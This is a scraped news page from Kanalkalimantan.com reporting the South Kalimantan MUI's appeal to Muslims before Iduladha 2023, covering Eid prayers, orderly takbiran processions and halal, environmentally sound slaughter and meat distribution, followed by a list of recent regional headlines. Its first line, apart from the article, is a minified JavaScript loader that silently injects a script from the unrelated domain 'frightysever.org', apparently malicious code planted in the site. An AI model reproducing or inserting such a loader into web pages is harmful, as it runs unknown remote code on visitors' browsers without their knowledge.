(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
RELIGI

Seruan MUI Kalsel Jelang Hari Raya Iduladha


KANALKALIMANTAN.COM, BANJARMASIN – Menjelang hari raya Iduladha 1444 hijriyah, Majelis Ulama Indonesia (MUI) Kalimantan Selatan mengeluarkan  seruan kepada masyarakat muslim di Banua.

Kementerian Agama (Kemenag) Republik Indonesia (RI) tanggal 18 Juni 2023 lalu melalui sidang isbat telah menetapkan Hari Raya Iduladha 1444 hijriyah jatuh pada Kamis 29 Juni 2023 masehi.

Surat seruan berisi pelaksanaan ibadah hari raya, pelaksanaan takbiran keliling, dan aturan penyembelihan hewan kurban, ditandatangani oleh Ketua MUI Kalsel KH Husin Naparin dan Sekretaris Nasrullah AR.

Pada saat hari raya nanti, seluruh umat Islam di Kalsel diminta untuk memperbanyak takbir, tahmid dan tahlil serta melaksanakan shalat Ied di masjid maupun langgar di tempat masing-masing.

Baca juga: Jambret di Pekapuran Raya Diringkus Polisi, Rampas Gelang Emas, HP hingga Uang Tunai

Selain itu, masyarakat juga diminta mempererat silaturahmi dengan jiran tetangga di tempatnya tinggal dalam rangka ukhuwah Islamiyah.

Untuk pelaksanaan takbiran keliling, MUI Kalsel mengimbau agar dilakukan secara tertib tanpa melanggar aturan atu menggangu keamanan lalu lintas.

Kemudian untuk penyaluran hewan kurban dianjurkan untuk penyalurannya melalui masjid atau lembaga ormas Islam yang bertanggung jawab.

“Bagi yang mampu menyembelih hewan kurban, daging kurban disalurkan kepada kaum dhuafa fakir miskin dan kepada yang berhak menerima,” tulis surat seruan yang didapatkan Kanalkalimantan.com, Jumat (23/6/2023) siang.

MUI Kalsel juga mengimbau dalam proses penyembelihan hewan kurban harus dilakukan dengan tata cara yang telah diatur syariat Islam serta ramah lingkungan.

Baca juga: Gegara Ucapan Ini, Sulut Emosi RB Tusuk M hingga Tewas di Murung Raya

Kemudian juga memperlihatkan himpunan fatwa MUI tentang standar hewan yang disembelih, standar alat penyembelih, standar penyembelihan, hingga standar pengolahan, penyimpanan, dan pengiriman daging kurban.

“Jika tidak disembelih di lingkungan masyarakat alangkah baiknya dilakukan di rumah potong hewan (RPH) yang sudah bersertifikat halal,” tutupnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.